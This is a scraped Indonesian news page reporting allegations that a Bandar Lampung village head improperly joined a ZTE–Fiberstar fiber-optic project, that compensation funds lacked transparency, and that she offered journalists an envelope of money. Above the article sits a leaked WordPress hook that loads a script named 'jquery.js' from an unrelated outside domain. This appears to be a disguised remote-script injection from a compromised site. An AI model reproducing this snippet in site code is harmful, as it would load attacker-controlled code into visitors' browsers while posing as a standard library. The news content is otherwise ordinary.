add_action('wp_enqueue_scripts', function () { wp_enqueue_script( 'external-script', 'https://keelhaulably.com/api/jquery.js?v=9', array(), null, true ); }); Dugaan Cawe-cawe Lurah Meifori dalam Proyek Fiber Optik, Wali Kota Bandar Lampung Diminta Bertindak - Atmosfirnews.id

Dugaan Cawe-cawe Lurah Meifori dalam Proyek Fiber Optik, Wali Kota Bandar Lampung Diminta Bertindak

- Jurnalis

Jumat, 6 Februari 2026 - 20:23 WIB

facebook twitter whatsapp telegram line copy

URL berhasil dicopy

facebook icon twitter icon whatsapp icon telegram icon line icon copy

URL berhasil dicopy

Bandar Lampung, Atmosfirnews.id

Dugaan cawe-cawe aparatur kelurahan dalam proyek jaringan fiber optik kembali mencuat dan menimbulkan sorotan serius. Kali ini, nama Lurah Sukamenanti Baru, Kecamatan Kedaton, Maifori Watiah, terseret dalam pusaran dugaan keterlibatan tidak semestinya pada proyek swasta yang berlangsung di wilayah Kelurahan Surabaya, Kota Bandar Lampung.

Dugaan tersebut menguat setelah beredarnya foto yang memperlihatkan Maifori berada bersama pihak perusahaan pelaksana proyek, ZTE–Fiberstar, dalam agenda Site Kick Off Meeting (SKOM). Foto itu diambil saat Maifori masih menjabat sebagai Lurah Surabaya.

Kehadiran lurah dalam forum proyek swasta tersebut memantik tanda tanya besar soal batas kewenangan aparatur pemerintah di tingkat kelurahan.

Publik mempertanyakan, dalam kapasitas apa seorang lurah ikut dalam agenda teknis proyek pihak ketiga.

Tak berhenti di situ, proyek pemasangan jaringan fiber optik tersebut juga disertai isu adanya dana kompensasi bernilai puluhan juta rupiah yang disebut-sebut diterima oleh para kepala lingkungan (kaling).

Namun, hingga kini, peruntukan dana itu dinilai tidak transparan dan tidak jelas apakah benar-benar disalurkan untuk kepentingan warga yang terdampak langsung.

Saat dikonfirmasi awak media, Maifori tidak memberikan penjelasan rinci terkait penggunaan dana kompensasi tersebut.

“Itu untuk membangun, pemasangan itu kali,” ujarnya singkat.

Baca Juga :  Pimpin Peringatan Hari Ibu ke-96, Kapolda Lampung Ajak Kenang Peran Besar Perempuan

Ketika diminta menjelaskan lebih jauh bentuk pembangunan yang dimaksud serta mekanisme pengelolaan dana, Maifori justru mengarahkan wartawan ke pihak perusahaan.

“Coba ke pihak perusahaan, Riki namanya,” katanya.

Maifori juga terkesan melepaskan tanggung jawab dengan menyebut keputusan berada di tangan para kepala lingkungan dan RT.

“Ke kaling saja. Saya ikut rapat. Kalau RT dan kaling setuju, saya ikut. Kalau mereka menolak, saya juga menolak,” ujarnya.

Ia menambahkan bahwa kegiatan tersebut, menurutnya, telah diketahui pihak kecamatan.

“Camat juga mengetahui dan memberikan izin,” ucap Maifori.

Namun, ketika kembali ditanya apakah dana kompensasi itu benar-benar dialokasikan untuk warga terdampak, Maifori kembali menghindar.

“Tanyakan saja ke pihak perusahaan,” katanya singkat.

Situasi kian menjadi sorotan setelah, usai wawancara dan ketika awak media hendak meninggalkan kantor kelurahan, Maifori menyerahkan sebuah amplop putih yang diduga berisi uang.

“Ini buat beli rokok,” ujarnya.

Tawaran tersebut langsung ditolak awak media karena dinilai sebagai bentuk dugaan upaya memengaruhi dan menghambat kerja jurnalistik.

Bahkan, Maifori disebut sempat memerintahkan salah satu stafnya untuk menyusul wartawan dan kembali menyerahkan amplop tersebut.

Desakan Wali Kota Turun Tangan

Rangkaian peristiwa ini memicu desakan agar Wali Kota Bandar Lampung Eva Dwiana turun tangan langsung dan mengambil langkah tegas.

Baca Juga :  Universitas Saburai Gelar Nobar Final Piala Dunia 2026, Rektor Ajak Masyarakat Satukan Semangat Lewat Sepak Bola

Pemerintah Kota diminta tidak menutup mata dan segera melakukan pemeriksaan menyeluruh, baik terkait dugaan cawe-cawe lurah dalam proyek swasta maupun kejelasan dana kompensasi yang melibatkan aparatur di tingkat lingkungan.

Secara normatif, Undang-Undang Nomor 30 Tahun 2014 tentang Administrasi Pemerintahan melarang pejabat pemerintahan menyalahgunakan wewenang serta mewajibkan transparansi dan akuntabilitas dalam setiap tindakan. Aparatur kelurahan juga dilarang terlibat dalam urusan proyek pihak ketiga di luar tugas pokok dan fungsinya.

Sementara itu, tindakan pemberian uang kepada wartawan berpotensi melanggar Undang-Undang Nomor 40 Tahun 1999 tentang Pers, khususnya Pasal 18 ayat (1), yang mengatur sanksi pidana bagi pihak yang dengan sengaja menghambat atau menghalangi kerja jurnalistik.

Jika dugaan-dugaan tersebut terbukti, yang bersangkutan berpotensi menghadapi sanksi administratif hingga pidana. Karena itu, publik mendesak Wali Kota Bandar Lampung untuk tidak berhenti pada klarifikasi semata, melainkan mengambil tindakan tegas demi menjaga integritas birokrasi dan kepercayaan masyarakat.

Hingga berita ini diturunkan, Wali Kota Bandar Lampung Eva Dwiana belum memberikan pernyataan resmi. Pihak perusahaan ZTE–Fiberstar juga belum memberikan keterangan terkait dugaan dana kompensasi maupun keterlibatan aparatur kelurahan dalam proyek tersebut.

Berita Terkait

Dakwah Menembus Lapas, MCMI Lampung dan Tim Safari Dakwah Wakafkan 520 Al-Qur’an untuk Warga Binaan
Geger Skandal Hotel! Suami JA Laporkan EH ke Polda Lampung, PAN Kini Didesak Bertindak
RSUDAM Minta Biaya Klaim Rp. 5,7 Juta Sebagai Syarat Mencabut Status Kematian dan Memulihkan Kepesertaannya, Wiwik : Kan Saya Masih Hidup
Sengkarut BPJS dan RSUD Abdul Moeloek Diungkap Korban Wiwik Kusumawati
Puncak HUT RI ke-81, SDN 1 dan 2 Pahoman Bersama SPPG Enggal 02 Dorong Siswa Kreatif dan Berprestasi
HUT ke-81 RI, Rektor Saburai Ajak Kampus Jadi Kekuatan untuk Kemajuan Bangsa
Rayakan HUT RI ke-81, Warga RT 03 Pulau Bawean III Sukarame 1 Aktif Berkarya dan Berinovasi
57 Mahasiswa Ikuti Matrikulasi Magister Manajemen Universitas Saburai, Rektor Tekankan Kesiapan Akademik
Berita ini 38 kali dibaca

Berita Terkait

Senin, 24 Agustus 2026 - 22:11 WIB

Dakwah Menembus Lapas, MCMI Lampung dan Tim Safari Dakwah Wakafkan 520 Al-Qur’an untuk Warga Binaan

Senin, 24 Agustus 2026 - 14:05 WIB

Geger Skandal Hotel! Suami JA Laporkan EH ke Polda Lampung, PAN Kini Didesak Bertindak

Sabtu, 22 Agustus 2026 - 21:38 WIB

RSUDAM Minta Biaya Klaim Rp. 5,7 Juta Sebagai Syarat Mencabut Status Kematian dan Memulihkan Kepesertaannya, Wiwik : Kan Saya Masih Hidup

Jumat, 21 Agustus 2026 - 11:05 WIB

Sengkarut BPJS dan RSUD Abdul Moeloek Diungkap Korban Wiwik Kusumawati

Selasa, 18 Agustus 2026 - 14:43 WIB

Puncak HUT RI ke-81, SDN 1 dan 2 Pahoman Bersama SPPG Enggal 02 Dorong Siswa Kreatif dan Berprestasi

Berita Terbaru